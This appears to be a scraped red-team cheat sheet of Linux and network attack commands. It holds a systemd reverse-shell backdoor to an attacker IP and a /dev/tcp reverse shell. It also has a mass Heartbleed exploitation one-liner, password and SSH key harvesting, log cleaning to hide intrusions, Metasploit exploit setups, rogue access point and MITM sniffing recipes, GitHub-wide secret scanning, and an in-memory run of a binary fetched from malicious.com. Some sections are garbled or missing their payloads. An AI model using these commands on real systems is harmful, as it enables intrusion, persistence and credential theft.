getent is a Unix command that helps a user get entries in a number of important text files called databases. This includes the passwd and group databases which store user information – hence getent is a common way to look up user details on Unix.
getent passwd <username>
Utilize Crt.sh and EyeWitness to Enumerate Web Pages:
Uses crt.sh to identify certificates for target domain before screenshotting and actively scanning each webpage for login forms to use common credentials on.
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
Low and slow (-T2), Fast mode (-F), Append random data to sent packets (--data-length), Randomize hosts, and verbosely conduct service detection on a file of hosts and output to XML.
Hunt for components susceptible to the Heartbleed vulnerability before exploiting the devices memory with this one-liner. This command requires an Academic Plus Shodan API key.
shodan search vuln:cve-2014-0160 --fields hostnames | awk NF > heartbleed_hosts.txt; cat heartbleed_hosts.txt | while read line; do heartbleed.py "$line"; done
# All queries
tcpdump -nt 'dst port 53 and udp[10] & 0x80 = 0'
# All responses
tcpdump -nt 'src port 53 and udp[10] & 0x80 = 0x80'
Important Files:
/boot/vmlinuz : The Linux Kernel file.
/dev/had : Device file for the first IDE HDD (Hard Disk Drive) /dev/hdc : Device file for the IDE Cdrom, commonly
/dev/null : A pseudo device
/etc/bashrc : System defaults and aliases used by bash shell. /etc/crontab : Cron run commands on a predefined time Interval. /etc/exports : Information of the file system available on network. /etc/fstab : Information of Disk Drive and their mount point. /etc/group : Information of Security Group.
/etc/grub.conf : grub bootloader configuration file.
/etc/init.d : Service startup Script.
/etc/lilo.conf : lilo bootloader configuration file.
/etc/hosts : Information on IP's and corresponding hostnames. /etc/hosts.allow : Hosts allowed access to services on local host. /etc/host.deny : Hosts denied access to services on local host. /etc/inittab : INIT process and interactions at various run level. /etc/issue : Allows to edit the pre-login message. /etc/modules.conf : Configuration files for system modules. /etc/motd : Message Of The Day
/etc/mtab : Currently mounted blocks information.
/etc/passwd : System users with password hash redacted. /etc/printcap : Printer Information
/etc/profile : Bash shell defaults
/etc/profile.d : Application script, executed after login. /etc/rc.d : Information about run level specific script. /etc/rc.d/init.d : Run Level Initialisation Script. /etc/resolv.conf : Domain Name Servers (DNS) being used by System. /etc/securetty : Terminal List, where root login is possible. /etc/shadow : System users with password hash.
/etc/skel : Script that populates new user home directory. /etc/termcap : ASCII file defines the behavior of Terminal. /etc/X11 : Configuration files of X-window System.
/usr/bin : Normal user executable commands.
/usr/bin/X11 : Binaries of X windows System.
/usr/include : Contains include files used by ‘c‘ program. /usr/share : Shared directories of man files, info files, etc. /usr/lib : Library files required during program compilation. /usr/sbin : Commands for Super User, for System Administration. /proc/cpuinfo : CPU Information
/proc/filesystems : File-system information being used currently. /proc/interrupts : Information about the current interrupts. /proc/ioports : All Input/Output addresses used by devices. /proc/meminfo : Memory Usages Information.
/proc/modules : Currently used kernel module.
/proc/mount : Mounted File-system Information.
/proc/stat : Detailed Statistics of the current System. /proc/swaps : Swap File Information.
/version : Linux Version Information.
/var/log/auth* : Log of authorization login attempts. /var/log/lastlog : Log of last boot process.
Backdooring Systemd Services:
Create the following service descriptor at /etc/systemd/system/notmalicious.service:
[Unit]
Description=Not a backdoor into your critical server.
[Service]
Type=simple
ExecStart=/usr/bin/nc -e /bin/bash <ATTACKER_IP> <PORT> 2>/dev/null
[Install]
WantedBy=multi-user.target
Enable the backdoor service to run on restart:
sudo systemctl enable notmalicious
Old-Fashioned Log Cleaning:
Grep to remove sensitive attacker information then copy into original logs
Address space layout randomization (ASLR) is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries.
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Password Harvesting:
Passwords can be found in many places
# Process lists
user@victim $ ps -efw
# Usernames entered into login prompt by mistake
user@victim $ last -f /var/log/bmtp
# Usernames entered into command line arguments
user@victim $ cat /home/*/.*history
# Passwords saved in web files
user@victim $ grep -iR password /var/www
# SSH keys
user@victim $ cat /home/*/.ssh/id*
Enumerate password and account information with chage
user@victim $ chage -l
Unusual Accounts:
Look in /etc/passwd for new accounts in a sorted list:
user@RoseSecurity $ sort -nk3 -t: /etc/passwd | less
Look for users with a UID of 0:
user@RoseSecurity $ grep :0: /etc/passwd
Enumerating with Finger:
Various information leak vulnerabilities exist in fingerd implementations. A popular attack involves issuing a '1 2 3 4 5 6 7 8 9 0' request against a Solaris host running fingerd.
Performing a finger user@target.host request is especially effective against Linux, BSD, Solaris, and other Unix systems, because it often reveals a number of user accounts.
# finger user@192.168.189.12
Login: ftp Name: FTP User
Directory: /home/ftp Shell: /bin/sh
Never logged in.
No mail.
No Plan.
Login: samba Name: SAMBA user
Directory: /home/samba Shell: /bin/null
Never logged in.
No mail.
No Plan.
Login: test Name: test user
Directory: /home/test Shell: /bin/sh
Never logged in.
No mail.
No Plan.
Poorly written fingerd implementations allow attackers to pipe commands through the service, which are, in turn, run on the target host by the owner of the service process (such as root or bin under Unix-based systems).
Latency jumps in Traceroute values can identify geographic data:
1 ms – within your LAN
25 ms – my home cable service in London to servers located in mainland UK
90 ms – typical home DSL in the US to google.com
100-150 ms – the transatlantic cable between the UK and New York state
600-2000 ms – typical VSAT remote to hub link
Look up vendor MAC you want to impersonate: https://mac2vendor.com/
Change MAC:
sudo ifconfig <interface-name> down
sudo ifconfig <interface-name> hw ether <new-mac-address>
sudo ifconfig <interface-name> up
Routers:
Resources:
https://www.routerpasswords.com
Metasploit Callback Automation:
Use AutoRunScript to run commands on a reverse shell callback
set AutoRunScript multi_console_command -rc /root/commands.rc
/root/commands.rc contains the commands you wish to run
Example:
run post/windows/manage/migrate
run post/windows/manage/killfw
run post/windows/gather/checkvm
Metasploit Resource Script Creation:
Although there are several resource scripts that are available through the framework, you may want to build a custom script of your own. For example, if you routinely run a specific exploit and payload combination against a target, you may want to create a resource script to automate these commands for you. Since this example uses purely msfconsole commands, the easiest way to create a resource script is through the makerc command available in msfconsole. The makerc command records all of the commands you've run in the console and saves them in a resource script for you.
msf > workspace demo
msf > use exploit/windows/smb/ms08_067_netapi
msf (ms08_067_netapi) > set RHOST 192.168.1.1
msf (ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
msf (ms08_067_netapi) > exploit
To save these commands to a resource script, we can use the makerc command. We'll need to provide the output location and name we want the script to use:
Upgrade a shell to a meterpreter session on many platforms
msf6> sessions -u
Metasploit Tips I Discovered Too Late:
In order to save a lot of typing during a pentest, you can set global variables within msfconsole. You can do this with the setg command. Once these have been set, you can use them in as many exploits and auxiliary modules as you like. You can also save them for use the next time you start msfconsole. However, the pitfall is forgetting you have saved globals, so always check your options before you run or exploit. Conversely, you can use the unsetg command to unset a global variable. In the examples that follow, variables are entered in all-caps (ie: LHOST), but Metasploit is case-insensitive so it is not necessary to do so.
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0 set
LPORT 9999
exploit
Ingest Other Tools' Output Files:
# Start database
$ sudo systemctl start postgresql
# Initialize Metasploit database
$ sudo msfdb init
# Start msfconsole
$ msfconsole -q
msf6 >
# Help menu
msf6 > db_import -h
# Import other tool's output
msf6 > db_import ~/nmap_scan.xml
[*] Importing NMAP XML data
[*] Successfully imported /home/kali/nmap_scan.xml
Confluence CVE-2022-26134:
CVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server (typically the confluence user on Linux installations). Given the nature of the vulnerability, internet-facing Confluence servers are at very high risk.
As stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an exploit abusing the vulnerability looks like this:
Above, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of /. Decoded it looks like this:
POP Commands:
USER rosesecurity Log in as "rosesecurity"
PASS password Substitue "password" for your actual password
STAT List number of messages, total mailbox size
LIST List messages and sizes
RETR n Show message n
DELE n Mark message n for deletion
RSET Undo any changes
QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
SSH Dynamic Port Forwarding:
Forwards one local port to multiple remote hosts; it is useful for accessing multiple systems.
$ ssh -D 9000 RoseSecurity@pivot.machine
Now, an attacker could utilize a SOCKS proxy or proxychains to access the systems.
$ proxychains smbclient -L fileserver22
Dominating Samba with pdbedit:
The pdbedit program is used to manage the users accounts stored in the sam database and can only be run by root. There are five main ways to use pdbedit: adding a user account, removing a user account, modifying a user account, listing user accounts, importing users accounts.
Options:
Lists all the user accounts present in the users database. This option prints a list of user/uid pairs separated by the ':' character.
# pdbedit -L
sorce:500:Simo Sorce
samba:45:Test User
Enables the verbose listing format. It causes pdbedit to list the users in the database, printing out the account fields in a descriptive format.
# pdbedit -L -v
---------------
username: sorce
user ID/Group: 500/500
user RID/GRID: 2000/2001
Full Name: Simo Sorce
Home Directory: \\BERSERKER\sorce
HomeDir Drive: H:
Logon Script: \\BERSERKER\netlogon\sorce.bat
Profile Path: \\BERSERKER\profile
---------------
username: samba
user ID/Group: 45/45
user RID/GRID: 1090/1091
Full Name: Test User
Home Directory: \\BERSERKER\samba
HomeDir Drive:
Logon Script:
Profile Path: \\BERSERKER\profile
Sets the "smbpasswd" listing format. It will make pdbedit list the users in the database, printing out the account fields in a format compatible with the smbpasswd file format.
Suppose you have an SSH tunnel, and you want to copy a file to the remote machine. You could just scp it directly, but that opens up another connection. The goal is to re-use the existing connection. You can use ncat to do this:
# This is port forwarding, sending everything from port 31000 on the remote machine to the same port on the local machine
$ ssh -L 31000:127.0.0.1:31000
# On the remote system:
$ ncat -lvnp 31000 127.0.0.1 > file
# On the local system:
$ ncat -v -w 2 127.0.0.1 31000 < file
No extra overhead. TCP takes care of error correction. SSH has already encrypted the pipe.
--mirror - applies a number of options to make the download recursive.
--no-parent – Do not crawl the parent directory in order to get a portion of the site only.
--convert-links - makes all the links to work properly with the offline copy.
--page-requisites - download JS and CSS files to retain the original page style when browsing a local mirror.
--adjust-extension - adds the appropriate extensions (e.g. html, css, js) to files if they were retrieved without them.
To prevent a user from seeing all the processes running on a system, mount the /proc file system using the hidepid=2 option:
$ sudo mount -o remount,rw,nosuid,nodev,noexec,relatime,hidepid=2 /proc
# 2: Process files are invisible to non-root users. The existence of a process can be learned by other means, but its effective user ID (UID) and group ID (GID) are hidden.
Exporting Objects with Tshark:
To extract a file, read in a file, use the --export-objects flag and specify the protocol and directory to save the files. Without -Q, tshark will read packets and send to stdout even though it is exporting objects.
dicom: medical image
http: web document
imf: email contents
smb: Windows network share file
tftp: Unsecured file
Rogue APs with Karmetasploit:
Karmetasploit is a great function within Metasploit, allowing you to fake access points, capture passwords, harvest data, and conduct browser attacks against clients.
Now we are ready to go. First off, we need to locate our wireless card, then start our wireless adapter in monitor mode with airmon-ng. Afterwards we use airbase-ng to start a new wireless network.
# Locate interface
root@RoseSecurity:~# airmon-ng
# Start monitoring
root@RoseSecurity:~# airmon-ng start wlan0
# Start AP
root@RoseSecurity:~# airbase-ng -P -C 30 -e "Fake AP" -v wlan0mon
# Assign IP to interface
root@RoseSecurity:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
Before we run our DHCP server, we need to create a lease database, then we can get it to listening on our new interface.
At this point, we are up and running. All that is required now is for a client to connect to the fake access point. When they connect, they will see a fake ‘captive portal’ style screen regardless of what website they try to connect to. You can look through your output, and see that a wide number of different servers are started. From DNS, POP3, IMAP, to various HTTP servers, we have a wide net now cast to capture various bits of information.
Passive Fingerprinting with P0f:
Use interface eth0 (-i eth0) in promiscuous mode (-p), saving the results to a file (-o /tmp/p0f.log):
root@RoseSecurity:~# p0f -i eth0 -p -o /tmp/p0f.log
-- p0f 3.09b by Michal Zalewski <lcamtuf@coredump.cx> ---
[+] Closed 1 file descriptor.
[+] Loaded 322 signatures from '/etc/p0f/p0f.fp'.
[+] Intercepting traffic on interface 'eth0'.
[+] Default packet filtering configured [+VLAN].
[+] Log file '/tmp/p0f.log' opened for writing.
[+] Entered main event loop.
.-[ 172.16.0.23/35834 -> 172.16.0.79/22 (syn) ]-
|
| client = 172.16.0.23/35834
| os = Linux 4.11 and newer
| dist = 0
| params = none
| raw_sig = 4:64+0:0:1460:mss*20,7:mss,sok,ts,nop,ws:df,id+:0
Advanced Mitm Attacks with Bettercap Filters:
Display a message if the tcp port is 22:
if (ip.proto == TCP) {
if (tcp.src == 22 || tcp.dst == 22) {
msg("SSH packet\n");
}
}
Log all telnet traffic:
if (ip.proto == TCP) {
if (tcp.src == 23 || tcp.dst == 23) {
log(DATA.data, "./telnet.log");
}
}
Log ssh decrypted packets matching the regexp:
if (ip.proto == TCP) {
if (tcp.src == 22 || tcp.dst == 22) {
if (regex(DECODED.data, ".*login.*")) {
log(DECODED.data, "./decrypted_log");
}
}
}
Fake Sudo Program to Harvest Credentials:
Mimics legitimate Sudo binary to capture credentials and output to /tmp directory file.
Enumerate GitHub organizations for secrets and credentials
root@RoseSecurity# orgs=$(curl -s https://api.github.com/organizations | jq -r '.[] | .name'); for i in $orgs; do trufflehog github --org=$i; done
Bypass File System Protections (Read-Only and No-Exec) for Containers:
It's increasingly common to find Linux machines mounted with read-only (ro) file system protection, especially in containers. This is because running a container with ro file system is as easy as setting readOnlyRootFilesystem: true in the securitycontext:
However, even if the file system is mounted as ro, /dev/shm will still be writable, so it's fake we cannot write anything on the disk. However, this folder will be mounted with no-exec protection, so if you download a binary here you won't be able to execute it.
DDexec is a technique that allows you to modify the memory of your own process by overwriting its /proc/self/mem.
# Example
wget -O- https://malicious.com/hacked.elf | base64 -w0 | bash ddexec.sh argv0 phone home
